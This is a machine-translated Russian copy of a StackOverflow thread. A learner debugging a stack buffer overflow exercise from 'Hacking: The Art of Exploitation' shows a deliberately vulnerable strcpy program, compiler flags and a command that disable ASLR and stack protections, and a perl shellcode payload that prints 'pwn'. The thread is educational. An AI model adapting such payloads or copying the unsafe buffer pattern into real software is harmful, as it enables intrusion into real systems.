2016-02-12 3 views
1

Я пытался устранить эту проблему некоторое время. Я проверил несколько ссылок StackOverflow с похожими проблемами, но ни одна из исправлений, похоже, не работала для меня. По какой-то причине вместо получения ошибки сегментации, как я должен быть (если мой код эксплойта не работает), мой код эксплойта просто не создает ошибку. Мое первоначальное предположение заключалось в том, что perl-код каким-то образом генерировал только немного вывода, поэтому не переполнялся в стек, но я доказал это неправильно, передавая вывод команды perl в файл.Невозможно воспроизвести переполнение буфера без GDB

Однако я не могу воспроизвести эту проблему в GDB. По моему мнению, GDB отключает ASLR, но я отключил его (временно) в системе с помощью следующей команды. Я знаю, что эта команда работает, потому что я печатаю адрес переменной & buff, и он не изменяется среди нескольких прогонов.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 

Я также отключить стек канарейки защиту на мой исполняемый файл:

gcc -g -m32 -fno-stack-protector -z execstack exploit.c 

Как я уже говорил, мой эксплуатируют работает отлично в GDB. Вот моя эксплуатируемая программа, и я покажу вам мой код эксплойта.

exploit.c

int checkFunc(char *c) { 
    char buff[32]; 
    printf("0x%08x\n", &buff); 
    strcpy(buff, c); 
    if(strcmp(buff, "test") == 0) return 1; 
    else return 0; 
} 

int main(int argc, char *argv[]) { 
    int result = checkFunc(argv[1]); 
    if(result == 1) printf("Access granted\n"); 
    else printf("Access denied\n"); 
    return 0; 
} 

GDB выход [работает] использовать код

(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`" 
(gdb) run 
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`" 
0xbffff630 
pwn 

Регулярный выпуск кода эксплойта

[email protected]:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;') 
0xbffff660 
Access denied 

Да, я принял во внимание изменение адреса возврата (GDB добавляет дополнительные переменные среды). Вот почему я как бы обманул, распечатав обратный адрес в моей программе, чтобы я знал, что такое точное значение без использования GDB.

Если кто-то думает, что код эксплойта как-то не прав, я также отправлю ассемблерный код.

xor edx,edx ;xor so we don't have to use a null terminator in our code 
xor ecx,ecx 
xor ebx,ebx 
push edx  ;push the null terminator to the stack 
push 0xa6e7770 ;push our string pwn\n to the stack 
mov dl,0x4 
mov ecx,esp 
mov bl,0x1 
mov al,0x4 
int 0x80  ;print our string 
jmp eip - 1 ;keep on looping! 

Большое вам спасибо! Я застрял на этом часами. И именно так вы, ребята, знаете, я написал эту эксплуатационную программу, чтобы узнать о переполнении буфера в Hacking: The Art of Exploitation.

+1

Прикрепите gdb к процессу, не запускайте его из самого gdb. Таким образом, макет памяти не будет затронут. – Jester

+1

Какая инструкция x86 'jmp' снова была однобайтовой инструкцией? Я не могу найти его ... – EOF

+1

@EOF Вы имеете в виду 'jmp short'? Это '0xeb'. Конечно, требуется однобайтное смещение, так что это всего 2 байта. ОН, мой датчик сарказма нуждается в корректировке. @ baseman101: он хотел сказать, что 'jmp eip-1', даже если он собирается, не будет делать то, что вы думаете. Вместо этого используйте 'jmp $' или эквивалент. – Jester

ответ

1

Для тех, кто с этой проблемой в будущем ...

Проблема, которую я имел с программой был характер 0x0A в моем буфере. По какой-то причине GDB рассматривает это как простой новый символ линии, но при нормальной работе программы он рассматривается как нулевой символ. Я решил проблему, изменив символ новой строки на другое. Благодарим вас за помощь Джет, EOF и Майкл, за то, что вы привели меня в правильное направление и помогли мне написать лучший код :).

(gdb) x/32x &buff 
0xbffff130:  0x90 0x90 0x31 0xd2 0x31 0xc9 0x31 0xdb 
0xbffff138:  0x31 0xc0 0x52 0x68 0x70 0x77 0x6e 0x00 
0xbffff140:  0x20 0xec 0xfc 0xb7 0x2d 0x86 0x04 0x08 
0xbffff148:  0x64 0xf1 0xff 0xbf 0x00 0x00 0x00 0x00 

Как вы можете видеть, байт 0x00 завершает строку с байта 15, и, таким образом, остальная часть моего массива имеет неинициализированным значения.

Я предполагаю, что программа думает, что я делаю новую строку для аргументов командной строки, но все мы знаем, что это не так;).

Чтобы устранить эту проблему, я просто заменил другое значение для новой строки. К сожалению, я не знаю, как включить новую строку в мою программу, не вызывая этой проблемы. Я подумал о следующем хакерском решении для компенсации. Поместите значение новой строки минус один (0x9) в регистр, затем вызовите код операции inc в регистре и вставьте его в стек.